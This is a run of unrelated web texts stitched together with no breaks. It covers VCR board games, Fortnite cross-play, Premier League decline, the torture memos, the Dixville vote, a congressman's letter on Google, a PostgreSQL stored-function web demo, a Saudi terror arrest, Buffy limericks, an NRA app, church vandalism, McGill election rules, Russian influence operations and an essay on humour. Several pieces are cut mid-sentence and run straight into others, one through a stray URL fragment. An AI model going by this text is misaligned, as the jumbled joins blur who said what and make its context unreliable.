"Computer games became our greatest competitors as kids moved away from traditional boardgames to computer screens," wrote Tanner. "Games like DOOM certainly changed the landscape."
Clements actively followed the development of new technology (and still does--he shoots with a RED EPIC at Platinum HD), but was adamant that Nightmare not be turned into another "shoot em up" in the vein of DOOM. A Couple 'A Cowboys worked on a video game adaptation of Nightmare in the 1990s, but the technology wasn't powerful enough to handle what they were after.
"We'd actually designed a game for CD-i, and when we went and saw the technology it was definitely better technology for video," Clements explained. "It would've been a great game on CD-i, but that fell over. We moved it across to CD-ROM but that just didn't have the rendering power that we needed.... Back then, you couldn't do it. Gatekeeper would come back and taking five seconds to load, you couldn't deliver a shock. Excuse me! I'm going to scare you in five seconds.
Though DVD rentals didn't top VHS until 2003, VCR games seemed to have all but disappeared by the late 90s. Tapes were too commonplace to serve as a viable hook, at that point, and video games were far more advanced than linear VHS tapes. When DVD came around, Tanner launched a new version of Nightmare. Atmosfear: The DVD Board Game came out in 2003 and managed to sell over 600,000 copies. Despite the massive boost in storage capacity and ability to skip around a DVD at will, the platform mostly played host to trivia games.
Atmosfear, on the other hand, used chapters to randomize when the Gatekeeper would appear and what he'd say. VIdeo really could offer a different play experience every time--it just took a couple decades to get to that point.
Interested in the tacky, goofy video that game designers paired with their board games? Most of them are easy to find on Youtube. If you want to play along, eBay a copy of the board and don't worry about digging the VCR out of the closet. Check out Clue, A Klingon Challenge, Nightmare, and DragonStrike for laughs.From a technical standpoint, the ability for PS4 and Xbox One owners to play online together in games like Rocket League is more than possible, but to date, Sony has not given its consent to allow it to happen. Despite that, Fortnite reportedly enabled cross-platform play between the two consoles over the weekend, although that has now been turned off and chalked up to an error.
A number of posts on Reddit have emerged over the past few days with accounts of cross-play working. This was seemingly first discovered by user PRE_-CISION-_, who noticed that, while playing on PS4, they were in a game alongside someone using a space in their username. Spaces are disallowed in PSN usernames, suggesting a player on Xbox One. Some speculated that it was merely a PC player (Fortnite supports cross-play between PS4 and PC), but a further investigation by Reddit and NeoGAF users reveals that the account name does not exist in the Epic Launcher used by Fortnite on PC. However, it is the name of an Xbox Live user who has recently played Fortnite. Additional evidence of PS4 and Xbox One cross-play was later shared, including one person who claimed to be playing with their child across the two consoles.
Developer Epic Games has seemingly confirmed this was true. Unfortunately, it was not a deliberate addition to the game. When reached for comment, Epic told GameSpot, "We had a configuration issue and it has now been corrected."
It's disappointing news to learn this isn't functionality that had simply gone live without a proper announcement. Microsoft has famously been open to cross-play support in recent years. Rocket League is set to work across Xbox One, Switch, and PC, while the developer of Minecraft (which Microsoft owns) is also open to cross-play between Xbox One and PS4. For its part, Sony has not seemed eager to allow cross-play.English clubs are once more struggling abroad this season and it can no longer be described as the greatest league in the world
By Greg StobartThe self-proclaimed title of the ‘best league in the world’ has faded from the Premier League lexicon over the last few years.After all, it would be a hard label to justify following the all-Spanish Champions League final and the all-German final for Europe’s top prize in 2013.Instead, people chose to talk to English football’s competitiveness and entertainment factor rather than its quality because the days of the Premier League’s dominance in Europe are long gone.Between 2005 and 2009, England produced finalists every year in the Champions League. Liverpool, Arsenal, Chelsea and Manchester United all reached the final hurdle and twice Premier League sides conquered Europe.English clubs remained competitive for a few more years, with United reaching the final in 2011 and Chelsea winning the Champions League in 2012.Since then though, only one team – Chelsea last season – has even made it as far as the semi-finals of the competition.The drop in quality of English teams has been most marked in Manchester City’s performances. Having qualified from their group just once in three attempts, the Premier League champions are again staring down the barrel of an early exit.City are supposed to represent the best we have to offer, yet they have just two points from their first three games in their latest Champions League campaign and manager Manuel Pellegrini has acknowledged that they need to win all of their remaining games, starting at home to CSKA Moscow on Wednesday.Arsenal’s defeat away at Dortmund highlighted the Gunners’ usual weaknesses against high-quality European opposition and their Champions League campaigns have been played on repeat in recent seasons. We know how it ends – Arsene Wenger’s team will be knocked out early in the knockout stages as soon as they come up against a leading side.Liverpool, back in the Champions League for the first time since the 2009-10 season, are fighting to make sure their return is not short-lived. With just three points from their first three matches and an away fixture at Real Madrid next, their chances are likely to hinge on their final group match at home against Basel in December.Chelsea are the only side that have not struggled so far, and last season’s semi-finalists will fancy their chances of going far in the competition again - although winning the Premier League has become the priority for Jose Mourinho.Even then, the Blues – so dominant domestically in the early part of the season – could only draw at home with a struggling Schalke side in their Group G opener.The Premier League simply isn’t that strong anymore. The World Cup winners and Champions League winners – the best players on the planet – are based in Spain or Germany. The last two players of the year in England are now playing for Real Madrid and Barcelona.In 2009, the Premier League accounted for three of the four Champions League semi-finalists; but it will be a long time before that happens again.While five Premier League players are on this year’s 23-man Ballon d’Or shortlist, three of them – Angel Di Maria, Diego Costa and Thibaut Courtois – are there because of their achievements with Spanish clubs last season.When the Champions League was first introduced in 1992, English clubs were seen as complete no-hopers with no chance of winning the competition for several years.The financial muscle of the Premier League means that won’t happen again. But the decline on the big stage is there for all to see.More fallout from last week’s release of the Bush DOJ’s torture memos…
Both Congressman Jerry Nadler and the New York Times are calling for Jay Bybee, the author of one of the memos, who’s now a federal judge, to be impeached.Nadler, who chairs the Judiciary committee’s Constitution, Civil Rights, and Civil Liberties subcommittee, told the Huffington Post that Bybee “ought to be impeached.” Nadler continued: “It was not an honest legal memo. It was an instruction manual on how to break the law.”
And a Times editorial declared that the memos were written in “the precise bureaucratese favored by dungeon masters throughout history.” Later, it added: “These memos make it clear that Mr. Bybee is unfit for a job that requires legal judgment and a respect for the Constitution. Congress should impeach him.”
In 2003, Bybee was appointed by President Bush to the Court of Appeals for the 9th Circuit.
Both Nadler and the Times also called for investigations into whether Bush officials broke the law in ordering and justifying torture, citing John Yoo as a potential target. The Times added that Steven Bradbury, who wrote the three other memos, should also be a target.
Neither Bybee nor Bradbury has spoken publicly since the release of the memos last week.DIXVILLE, N.H. — Donald Trump opened up a small early lead over Hillary Clinton in the 2016 presidential election, winning over the voters of three New Hampshire precincts 32-25. Under New Hampshire state law, communities with fewer than 100 voters can get permission to open their polls at midnight and close them as soon as all registered voters have cast their ballots.
Polls in the New Hampshire towns of Dixville, Hart’s Location and Millsfield, a proud group of voters first to cast their vote in a presidential election, open just after midnight Tuesday and close as soon as everyone votes.
While Mrs. Clinton won more votes in Dixville and Hart’s Location, Mr. Trump won Millsfield with a 16-4 margin. The New York businessman hopes that’ll be the bigger story on Tuesday, with the Granite State closing fast in the final week of the election.
Libertarian Gary Johnson earned three votes, while Mrs. Clinton’s rival Bernie Sanders, John Kasich and 2012 Republican presidential nominee Mitt Romney got write-in votes.
Do they predict the outcome of the state or the race in general. The answer: Dixville Notch has proven unreliable at predicting statewide or national results, but the other towns have roughly the same predictive value. The small town results hold more predictive value in primaries than general elections.Dem warns FTC against suing Google
By Brendan Sasso -
Rep. Jared Polis (D-Colo.) is warning the Federal Trade Commission that a lawsuit against Google would be disastrous and could prompt Congress to limit the agency's authority.
"I believe that application of anti-trust against Google would be a woefully misguided step that would threaten the very integrity of our anti-trust system, and could ultimately lead to Congressional action resulting in a reduction in the ability of the FTC to enforce critical anti-trust protections in industries where markets are being distorted by monopolies or oligopolies," Polis wrote in a letter sent last week to FTC Chairman Jon Leibowitz and obtained by The Hill on Monday.
Polis argued that the market for online search is already fiercely competitive. He noted that customers search Amazon for shopping results, iTunes for music and movies, Facebook for social networking and Yelp for local businesses.
"To even discuss applying anti-trust in this kind of hyper-competitive environment defies all logic and the very underpinnings of anti-trust law itself," Polis wrote.
The FTC is nearing the end of a sweeping antitrust investigation into Google's business practices. People familiar with the case say the commissioners are leaning toward taking action against the company.
More from The Hill:
♦ GOP demands Obama plan on debt ceiling
♦ Romney plan to dump Bernanke sparks Wall Street anxiety
♦ Koch Industries defends letter on 'consequences' of GOP loss
♦ Poll: Belief in global warming rising in both parties
♦ Ethics complaint filed against DesJarlais over affair
♦ Abortion groups target swing-state voters
♦ Romney campaign banks $170M in September
♦ Obama to be 'firm but respectful' in debate
The agency is investigating whether Google manipulates its search results to ensure that its own services, such as YouTube, Google Maps and Google Plus, appear above those of its rivals.
Google's competitors argue that the company shouldn't be allowed to use its dominant search engine — which has about a 65 percent market share — to stifle competition.
The company says there is nothing unfair about its search rankings. Even if the results did boost Google products, the company says, it wouldn’t be illegal.
Before being elected to Congress, Polis founded several online businesses, including ProFlowers.com. Polis argued that search engines have helped small businesses tap into new markets and find new customers, bolstering competition.
"As a high-tech entrepreneur and someone who has actually used Google’s advertising tools to grow my businesses, I encourage the Commission to tread carefully and not undertake action that would compromise the important service provided by Google, reduce Google’s ability to rapidly innovate and improve its products, or make search engine results less useful for consumers or businesses," he wrote.
Polis compared a potential antitrust case against Google to the fight earlier this year over controversial anti-piracy legislation. Congress pulled the anti-piracy bills after thousands of websites blacked out in protest, sparking an explosion of voter anger over the issue. Polis said the protest showed that when policymakers try to over-regulate Internet content, consumers will revolt.
"By the same token, the FTC should tread carefully when reviewing Google, Facebook, Twitter or any other tech company, |
.cpan.org/~joeljac/DBIx-Pg-CallFunction/lib/DBIx/Pg/CallFunction.pm
Proof-of-concept demonstration:
joel@ubuntu:~$ psql -c 'CREATE OR REPLACE FUNCTION myfunc(foo text, bar text) RETURNS TEXT AS $ SELECT $1 || $2 $$ LANGUAGE sql SECURITY DEFINER'
CREATE FUNCTION
joel@ubuntu:~$ curl 'http://localhost/postgres/myfunc?foo=Hello&bar=World'
{
"error" : null,
"result" : "HelloWorld"
}
joel@ubuntu:~$ curl 'http://localhost/postgres/now'
{
"error" : null,
"result" : "2012-06-03 10:46:23.972644+07"
}
joel@ubuntu:~$ curl 'http://localhost/postgres/random'
{
"error" : null,
"result" : "0.664589043240994"
}
joel@ubuntu:~$
Extract from PostgreSQL log:
2012-06-03 10:46:14.270 ICT,"www-data","joel",3601,"[local]",4fcade06.e11,2,"SELECT",2012-06-03 10:46:14 ICT,2/52,0,LOG,00000,"execute dbdpg_p26924_1: SELECT * FROM myfunc(bar := $1,foo := $2);","parameters: $1 = 'World', $2 = 'Hello'",,,,,,,,"pg_proc_jsonrpc"
2012-06-03 10:46:23.972 ICT,"www-data","joel",3603,"[local]",4fcade0f.e13,2,"SELECT",2012-06-03 10:46:23 ICT,2/58,0,LOG,00000,"execute dbdpg_p27386_2: SELECT * FROM now();",,,,,,,,,"pg_proc_jsonrpc"
2012-06-03 10:46:27.732 ICT,"www-data","joel",3605,"[local]",4fcade13.e15,2,"SELECT",2012-06-03 10:46:27 ICT,2/64,0,LOG,00000,"execute dbdpg_p17663_2: SELECT * FROM random();",,,,,,,,,"pg_proc_jsonrpc"
No more middle-layer hassle!
Well, OK, not yet, this is just a proof-of-concept, a lot of work and testing remains until it can be put into production.
I think this could potentially be a very interesting way to make a PostgreSQL database more accessible to the outside world,
in a transparent and convenient way, not requiring any extra work or restarts.
Imagine front-end developers writing their own stored procedures in PLV8 (Javascript) and accessing them using JQuery (Javascript).
All that’s left is the browser and the database!
Less is more.Saudi Arabia has said that it has uncovered an al-Qaeda group that has been plotting to assassinate officials and attack government and foreign targets.
The cell is made up of 62 members, including 59 Saudi fighters, a Yemeni, a Pakistani and a Palestinian, Mansour al-Turki, a spokesman for the country's Interior Ministry, said during a televised briefing on Tuesday.
An investigation into social media postings "led security forces after months of hard work to pinpoint suspicious activities that unveiled a terrorist organisation through which the elements of al-Qaeda in Yemen were communicating with their counterpart elements in Syria in coordination with a number of misguided [people] at home in various provinces of the kingdom", al-Turki said.
Saudi Arabia was hit by a string of al-Qaeda-led attacks between 2003 to 2006 in which fighters targeted residential compounds for foreigners and Saudi government facilities, killing dozens of people.
The kingdom responded by arresting thousands of suspected fighters and launching a media campaign to discredit the groups's ideology with the backing of influential Muslim leaders.
The courts have sentenced thousands of Saudi citizens to prison for similar offences over the past decade.
And in early April of this year, a Saudi court sentenced Faris al-Zahrani, a top al-Qaeda leader, to death for his role in the violence that erupted in the kingdom in 2003.Chapter Text
1x01: Welcome to the Hellmouth
The two Summers women arrive
In a new town to start their new lives
Ones with no expulsions
And no gym explosions
(Let’s just hope that Buffy survives)
1x02: The Harvest
The Master sent one of his pawns
To feast on the kids at the Bronze
Though he fought for his dinner
Buffy still was the winner
So don’t underestimate blondes
1x03: Witch
Willow Rosenberg was very vexed
To find her friend Amy’d been hexed
“I don’t trust these witches!
With their spells and, and their switches!”
Oops – wait ‘til she sees what comes next.
1x04: Teacher’s Pet
Young Xander fell under the spell
Of a beautiful insect from hell
She’d take virgins to bed
And she’d bite off their head –
The first demon for whom Xander fell
1x05: Never Kill a Boy on the First Date
There once was a boy from suburbia
Who liked anything that’d disturb ya
And, even stranger,
He was turned on by danger
So Buffy kicked him to the curb-ia
1x06: The Pack
Flutie said, “Eat that pig, I’ll suspend you”
Not aware he was next on the menu.
Their cackling was hellish
As they ate him with relish —
That’s where liberal thinking will end you.
1x07: Angel
Buffy found Angel quite charming
Though he brooded, his smile was disarming
While at first she’d dismissed him
She was ready to kiss him
…But frenching with fangs is alarming
1x08: I, Robot…You, Jane
Willow was surfing the net
When she and her true love first met
But things get extreme when
You’re dating a demon
And everyone winds up upset
1x09: The Puppet Show
Into a puppet was hexed
A man who thought only of sex
He saved Giles’ head
But the crowd wished that instead
He had saved them from Oedipus Rex
1x10: Nightmares
Hank to his daughter, it seemed,
Was being unspeakably mean
He acted pathetic,
Which proved quite prophetic,
But for now it was only a dream
1x11: Out of Mind, Out of Sight
Ignored by most of all of her grade
Marcy found she had started to fade
Since none heard her voice
She soon made the choice
To make herself heard with a blade
1x12: Prophecy Girl
The strongest vampire by far
Saw his fate written out in the stars
The Slayer would drown
And he’d rule this town –
But he’d never seen CPR
Cordelia’s Epilogue
Don’t forget that Cordelia was there!
(Though she mostly just talked of her hair.)
By the end of the season
She’d begun to see reason
But she’d never let on that she cared.In a move that will make people around the globe scratch their heads in utter disbelief, the National Rifle Association has released a free game for iOS that lets players shoot at various targets.
NRA: Practice Range also features micro transactions which allows users to purchase new guns for them to shoot. The game has been rated 4 years and older because you are only firing at targets in the game. The app also features safety tips scattered throughout such as “always keep the gun pointed in a safe direction.”
So let’s get this straight- the NRA who blames violent shootings on video games has released… a video game. This game, is rated for four year olds and older. This game lets you give money to the NRA to buy new guns to shoot. To try and make it look like its not the stupidest idea in the world, they put gun safety tips in the game as if to say “It’s not going to encourage violence because we have safety tips!” Unfortunately, that doesn’t help the fact that this is indeed, one of the stupidest things we have ever seen.
Did we also mention today marks the one month anniversary of the Sandy Hook shootings? Stay classy NRA.On Sunday night, just after Christians protested outside the inaugural meeting of the Greater Church of Lucifer, the building was vandalized by people who smashed in one of its windows.
Unlike most acts of vandalism, though, this was was caught on camera. Sort of. While you can’t see the window being smashed, you can see the culprits outside the building around the 5:09 mark:
The front window of our church was smashed out by a large object thrown in plain view. We are committed to standing for our right to exist and will not let the actions of a few stop our church. We as Luciferians believe that all individuals no matter their religious affiliation have the right to exist on their path.
No word yet on who those people were, but if that’s what the love of Christ looks like, I want nothing to do with it.Potential SSMU Executives Dropped Out Due to Concerns Over Immigration Status
McGill University is an institution that prides itself on 20 percent of its students coming from more than 150 countries and being renowned as “Canada’s most international university.” However, during this SSMU electoral period, two international students discovered that despite being a part of this international student population that they could not run for office and represent the student body at large – at least not legally.
Saad Qazi, current Arts Undergraduate Society (AUS) VP Finance, and Sam Baker, current President of the Economics Students Association, decided not to run for positions on the SSMU Executive following concerns regarding their international student status.
Qazi’s past accomplishments include preventing the AUS from facing another financial crisis, and he wanted to continue his tenure in student politics by running for SSMU VP Finance and Operations. However, after speaking to the International Student Services and legal services, he decided against it.
Baker, on the other hand, went through the nomination period running for VP Clubs and Services only to drop out of the race a day before campaigning due to the concern of being denied renewal of his study-permit in the near future.
According to current Canadian immigration laws, international students must hold a valid study permit for the entire duration of their stay in Canada. The students cannot hold a part-time status except in their last semester of university. Furthermore, international students are allowed to work up to 20 hours a week on campus and can get an off-campus work permit. This allows them to work for a total of 20 hours a week during the academic year and full-time during scheduled breaks and holidays.
However, according to the employee contract that SSMU executives have to enter with the university, the executives must work 40 to 60 hours a week while being enrolled as a part-time student for the entire year. Based solely on this contract, international students cannot be both part-time students and employees of SSMU without violating terms of either the Canadian Immigration Services or SSMU’s protocol.
This bias against international students is not just limited to SSMU executives. Due to Quebec laws, SSMU was incorporated in 1993, resulting in the formation of a body known as the Board of Directors (BoD). The BoD is comprised of SSMU executives and councillors who sit on the SSMU Legislative Council. Since SSMU is a company, the BoD has the power to veto decisions made by even the SSMU Judicial Board (J-Board).
In tandem with international students lacking the contractual ability to be employed by SSMU, they are also not welcome to sit on the Board of Directors. According to the Motion Regarding the Democratic Reform of the SSMU Board of Directors, only Canadian residents are allowed to be members of the Board of Directors. This limitation is defended by the BoD for the reason that SSMU holds a liquor permit to serve alcohol on campus through our beloved Gert’s. With this permit in place, Quebec immigration laws dictate that only Canadian residents can overlook the functioning of this bar.
Considering that Gert’s forms a significant revenue stream for SSMU, the maintenance of Gert’s is an important job for SSMU executives and its BoD. But, the Quebec liquor permit requirement would make it illegal for an international student to hold office as a SSMU executive.
Nevertheless, in the past there have been international students who have managed to avoid the immigration services scanner and still perform their duties quite well as SSMU executives. Current SSMU VP Clubs and Services Allison Cooper has served as a SSMU executive this year despite the fact that she is from California. “The Quebec government, in a way, turns a blind eye to such situations,” she finds. Nonetheless, if a student is caught violating immigration laws, they may face deportation.
So far, Cooper and other SSMU executives have been largely unsuccessful in finding loopholes in the system. The only loophole discovered applies only to graduating students who wish to come back to McGill as a “special student” in the following year as a SSMU executive. Such international students can apply for a post-graduate Work permit within 90 days of graduation, which allows them to work full time as SSMU employees while studying part-time at McGill.
While incoming SSMU President Katie Larson, from Pittsford, New York, is taking this route, students like Baker and Qazi, who still have a semester before they graduate, have no legal way of doing so. Despite being a “legal” SSMU executive, Larson will not be able to sit on the BoD or make decisions relating to the operations of Gert’s. Will this be a problem in the long run? Larson feels that “since Gert’s is under the VP Finance’s portfolio and the members of BoD are the same as those on the Legislative Council, it shouldn’t be that bad.”
Cooper stated that the main issue for international students being on the SSMU executive committee arises from SSMU’s incorporated status and the fact that SSMU holds the liquor permits for Gert’s. However, The International Relations Student’s Association of McGill University (IRSAM) is another incorporated group at McGill that has been able to have international students as executives. Malini Jain, IRSAM VP External and an international student, says that since they don’t own a liquor license like SSMU, the executives of IRSAM can be international students without any immigration issues.
A possible solution to this issue would be separating the operations of Gert’s from that of SSMU, like Concordia did by separating the operations of the Concordia Student Union (CSU) from the operations of Reggie’s. This allows international students to run for the CSU by obtaining work permits. SSMU once had something similar, but McGill decided to combine the operations of SSMU and Gert’s into one entity for tax purposes. Larson said that this might be something to look into next year after a cost-benefit analysis with regards to the legal costs can take place.
Imagine being the SSMU VP Finance and not being able to make decisions about one of your major revenue streams, Gert’s, based on your international student status. As Qazi puts it, “Given the massive undergraduate population, it isn’t fair that only graduating international students can run for executives of the largest undergraduate society at McGill. Something should be done about this situation and soon. International students ought to be represented fairly, especially at an internationally acclaimed university like McGill.”Russia has been making the headlines of international media for a while now. But none of that had to do with a strong economy or a powerful army because Russia simply doesn't have either. Instead, it has learned to interfere through other means in the politics, media, elections and national security of other countries.
The United States still cannot get over the Russian interference in last year's presidential elections, while European countries are terrified at the prospect of something like that happening to them this year.
The new methods of Russian influence are well-known, but it seems that Western countries have turned out to be unprepared for them.
Hackers
In the coming months, a whole bunch of European countries will be having elections: in March, the Netherlands; in April, France; in September, Germany and Norway; and perhaps early elections in Italy. And all of these countries without exception have already complained about attacks by Russian hackers.
In France, they attacked Emmanuel Macron, the main opponent to far-right leader Marine Le Pen, who insists on the revoking of sanctions on Russia.
In Germany, they attacked Angela Merkel, a big critic of the Kremlin. In Italy, reportedly, the foreign ministry and armed forces suffered attacks.
In Norway, Russian connection was discovered in a phishing attack on a police station and a host of government officials. In the Netherlands, after many attacks by Russian hackers on government servers, it was decided that votes will be counted by hand.
And these are not all the incidents by far. International media has focused on the scandal with Russian hackers in the US, but actually there isn't a western country that has not faced cyberattacks from Russia.
The United Kingdom recently complained about the increase in Russian hackers' activity, while cyberattacks were also reported by Turkey, the Baltic countries, Ukraine, Georgia, Poland, the Czech Republic, Bulgaria, Finland, Sweden and many others.
In Russia, there are two major Kremlin-sponsored hacker groups: Fancy Bear (APT 28) and Cozy Bear (APT 29). They use similar methods and both have a big budget, state of the art equipment and a wide network of employees working every day.
READ MORE: Donald Trump: Russian hacking had 'no effect' on vote
They know well which politicians, officials and journalists they should attack and who to send the obtained compromising information to. It is known that one of these groups Fancy Bear also attacked Russian opposition activists inside the country and enemies of the Kremlin abroad, including the Democratic Party in the US.
This has been confirmed by at least four independent cybersecurity organisations which analysed the phishing emails used in the attacks. Given the objects of these attacks, it's not difficult to guess who stands behind Fancy Bear.
Even Al Jazeera's website suffered an attack by Fancy Bear. Clearly, the Kremlin has not limited its cyber-warfare to the West.
Fake news
Cyberattacks are not the only tactic the Kremlin has used trying to boost its political influence abroad. Another fashionable tool these days is fake news.
Spreading disinformation was a favourite KGB tool in Soviet times, but now in the Facebook era, old methods are being used on a new level.
All around the world there are enough people who are earnestly ready to share news in social networks. According to a BuzzFeed investigation, if one is to judge by the number of shares, the 20 most popular fake news about the elections in the US turned out to be more popular than the 20 most popular real news.
OPINION: Mr Trump, meet Bond, James Bond - From Russia with love
A separate role is played by the Russian diaspora, a significant part of which watches mainly Russian TV channels. This is quite a big problem for countries where Russian speakers are a significant part of the population - countries of the former Soviet Union.
But in recent times, it has also become a problem for Western Europe, where the diaspora, too, has become an active object of Russian state influence.
For example, some of the demonstrations of the marginal nationalist movement Patriotic Europeans Against the Islamisation of the West (Pegida) in Germany were organised by representatives of Russian diaspora organisations, which are funded by the Kremlin; speeches at some of these rallies would be given in Russian.
Fake news broadcast by Russia One channel about a Russian girl who was raped by migrants was used as an excuse for one of these rallies. The news of course was widely shared within the Russian diaspora.
Freaks
Pegida is only one example of the tens of marginal political parties and movements which the Kremlin supports in different countries and more often than not these are ultra-right, anti-globalisation, and separatist movements.
Every year, the Kremlin organises a major get-together for these movements in Moscow and sometimes in other countries. Within the network of Russian influence, there are also members of parliament, even if not that prominent, of some major parties.
Some of them will attend big Kremlin-sponsored forums in exchange for a serious honorarium and when needed will make the necessary statements about, for example, the Crimea referendum being transparent and free.
The world economy survived Trump and Brexit but if Europe is hit by another wave of protectionism and nationalism as happened after World War I, the consequences of that would be so grave that it would put the survival of the Russian state under question.
At first glance, it seems that the support of local freaks is simply a waste of money. But it can be seen as a venture capital investment. Most of the supported projects will fail, but there is a possibility that some of them might take off.
Sometimes marginal politicians such as Marine Le Pen, who received a loan from a Russian bank turn into political heavyweights.
Donald Trump was seen for a long time as marginal and an outsider and, if the rumours about his ties to the Kremlin are confirmed, then certainly he would be the most successful of all Russian venture capital investments.
Trolls
Another player in Russia's cyberwars are the trolls who try to simulate societal reactions and undertake the vicious persecution of targeted individuals on social networks and in the comment sections of foreign media outlets.
А sizeable troll office is located on Savushkina Street in St Petersburg, where employees work a full work day and receive $500.
There are also other troll factories, including one in Moscow which specialises in spamming outlets such as Fox News, CNN, BBC, the Huffington Post and others.
Usually a troll's account is easy to recognise: it is either empty of content, or is filled with reposts. Even if trolls don't succeed in convincing their victims that they are real, they still manage to interfere with attempts to have a normal discussion with an audience. Because of trolling, many media organisations have been forced to drop comment sections from their websites.
Pranksters
One of the latest inventions of Russian propaganda are the Kremlin's pranksters. A prime time show on Russian One channel had pranksters call high-level politicians - such as former Georgian President Mikheil Saakashvili, Ukrainian President Petro Poroshenko and US Senator John McCain - using a variety of pretexts to try to provoke them into saying something not politically correct.
The task - if not to discredit - is at least to poke fun of the politicians who don't have good relations with the Kremlin. In a time when, on Russian state TV, one cannot even sneeze without the permission of the censor, it is not difficult to guess the motivation behind having such a show.
Soft power v propaganda
Russia's new information warfare is more powerful and effective than Soviet propaganda. But no matter how inventive Moscow is in using new technologies for information warfare, it still has the same vulnerability which led to the dissolution of the Soviet Union - propaganda is useless if it is not backed with soft power, or the power of being a model nation.
Hackers and trolls might help you discredit the opponent, but they cannot create a positive image of your country, when it is a poor, unfree state with rampant corruption, backward education and a weak healthcare system.
Yes, Russia is a serious threat to the West in the sense that it can encourage the growth of the ultra-conservative and populist forces, pushing for disintegration and nationalism - all this might affect negatively economic growth and security. But the problem is that Moscow does not really get anything out of it.
OPINION: The inevitable Trumputin divorce
The children of US officials don't go to study in Moscow University; Swiss businessmen are not depositing their money in Russian banks; Germans are not buying Russian cars.
Paradoxically, Russia will be the first to suffer from the weakening of the West. In a time of crisis, investors will first withdraw their money from unstable developing markets, including Russia.
The world economy survived Trump and Brexit but if Europe is hit by another wave of protectionism and nationalism as happened after World War I, the consequences of that would be so grave that it would put the survival of the Russian state under question.
Roman Dobrokhotov is a Moscow-based journalist and civil activist. He is the editor-in-chief of The Insider.
The views expressed in this article are the author's own and do not necessarily reflect Al Jazeera's editorial policy.by Zach Weinersmith
The following is an idea I’ve been mulling over and talking to friends about for a few months. I thought I’d finally share it to see if anyone liked it or was interested in working on it.
Warning: evolutionary psychology just-so story to follow. Think of it as a parable, not as a theory. It’s just here to contextualize the idea that follows.
The Story
Suppose there’s a monkey. Suppose also that the monkey has evolved to have an inbuilt proto-toolmaking behavior.
For this specific example, let’s say he’s learned to snap a twig off a tree and stick it in an anthill. When he pulls it out, it’s covered with tasty protein-rich ants.
This monkey is unlike you and I in that he takes no pleasure in finding the right stick. He knows the stick must have certain qualities – long, thin, not too brittle. However, he does not experience any pleasure until he actually eats the tasty ants.
Suppose this monkey represents a species. This species does well because it has this one trick for getting protein out of the ground in abundance at a low cost.
Now, suppose one day a monkey is born who has a quirk. Instead of taking pleasure only in the ant part, he takes pleasure in the stick selection part too. That is, when he finds an appropriate stick, his brain rewards him with premature pleasure. So, whereas his brethren experience pleasure only upon eating the ants, this one monkey gets pleasure from selecting an appropriate branch.
This confers an advantage on that monkey. The other monkeys will select an appropriate branch, then use it until it breaks. This new monkey will change branches often until he finds the best one. Because he enjoys the selection process per se. He doesn’t know why he enjoys it, but as a result, he tends to get more ants per twig. He enjoys making the best twig for its own sake as much as he enjoys the inevitable payoff.
His mental pathway, simplified, goes something like this:
Confusion —> Understanding —> Pleasure {CUP}
Over evolutionary time, all the monkeys have this pathway, and it becomes a point of competition. The supply of good branches is limited and it takes work to select the best one. So, selection rewards the monkey who can go from confusion to understanding the quickest.
This pathway, originally useful for twig selection, leads to other beneficial effects. The monkeys now have the desire to understand systems. One day, a monkey finds a sharp rock and decides he wants to understand how to make sharp rocks. He creates the first hand ax, and outcompetes his brothers.
And so the mental pathway, CUP, gets strengthened and strengthened, producing useful results over time. We could set up an equation that looks something like this:
Level of understanding from, denoted by some value from 0 to infinity (potential size depends on complexity of thing being understood) = U
Amount of time taken to go from one value of U to another = T
The equation would be:
ΔU/T = Quality of monkey brain.
If it takes a long time to go from confusion to understanding, the monkey is a bad tool maker. If the time is short, the monkey is a good tool maker. In general, a higher ΔU/T score is a better toolmaker.
It goes without saying that the equation for U could be complicated and dependent on many things. For example, a stupid musician would understand sheet music faster than a very smart person with no music background. However, in cases like these, we could still find the latter to be the better brain. After all, the musician may be going from U=99900 to U=99950 while the non-musician may be going from U=50 to U=99950. So, the non-musician’s longer time needs wouldn’t necessarily indicate lower intelligence.
Over evolutionary time, ΔU/T should increase. The more selection pressure on toolmaking, the faster it should go up. Although this is generally good, it results in some perverse side effects.
For one, the monkeys now indulge in behavior without a clear evolutionary payoff. For example, they make up riddles for each other to solve. Sitting in the dark of winter with no natural puzzles to solve, they invent puzzles for each other, to generate pleasure for its own sake. These puzzles make use of a new concept – cleverness.
Here, you can think about ΔU/T in a second sense – how good a puzzle is.
If it’s too easy (What has two wings and a beak?) ΔU is small. So, the possible ΔU/T is limited.
If it is too hard (What is the product of the first 400 Fibonacci digits. Please solve using multiplication only) then T is too large compared to ΔU.
If it is non-inferable (What’s my middle name?), it’s no fun because you can’t solve it, so there is no change in understanding.
A clever puzzle threads the needle. For example, the classic riddle from The Hobbit: “What box has no hinges, key or lid yet inside golden treasure is hid?” The answer is “an egg.” Within reason, it is the only possible solution. It is also not obvious. It requires you to make inferences about what is acceptable in the category of “box” and “treasure.” In this case, the ΔU/T is at some favorable ratio.
It is fun because it uses the confusion-understanding-pleasure (CUP) pathway. In the golden treasure example, the question presents confusion. After some thinking, it leads to understanding. The reason the CUP pathway exists is for the advantage it conferred in toolmaking and strategizing. However, it’s existence also makes for a peculiar monkey behavior called puzzles and riddles. These behaviors are mere byproducts of the natural selection for monkeys who derive pleasure from understanding.
Now, suppose these monkeys come up with a couple of versions of the game. They have games, they have puzzles, they have riddles, and they have jokes. They conceive of these as different things, when in fact they’re just points on the ΔU/T line. The game lets you move slowly from non-understanding to understanding as you begin to comprehend all the possible tactics. The puzzle is like the game, but a bit faster, and with less to understand. The riddle is faster still, and has the bonus of essentially allowing you to make a discrete jump from non-understanding to understanding, once you catch the answer. The joke is nearly instantaneous. It takes you from complete confusion to complete understanding very rapidly.
For example: “Why did the church hate Dungeons and Dragons? Because it’s a form of birth control.”
The confusion is very brief, and concerns why there is a connection between Dungeons and Dragons and birth control. However, making the connection requires only a short chain of inference. So, the CUP pathway runs very quickly, and all the pleasure comes at once.
Thus, the game supplies a very large amount of pleasure over a long time. The puzzle supplies a smaller amount of pleasure, but in a shorter time. The riddle supplies even less pleasure, but in shorter time still. And the joke supplies the least pleasure, but it supplies it in an infinitesimal amount of time. When these things are combined, they result in more pleasure still. They all combine readily, as each is just a different member of the same family. Many jokes, for example, could be rephrased as riddles.
If true, this would explain why pleasure is experienced in all these things, and it would explain why pleasure is often more acute but less profound for jokes – they supply the highest ΔU/T, but the lowest value for ΔU.
It would also explain why people sometimes laugh when understanding a concept or solving a mystery. These are all just expressions of CUP.
The enjoyment of jokes has two prominent aspects – pleasure and laughter. Their pleasure may be explained by the above. The laughter could possibly be explained as follows:
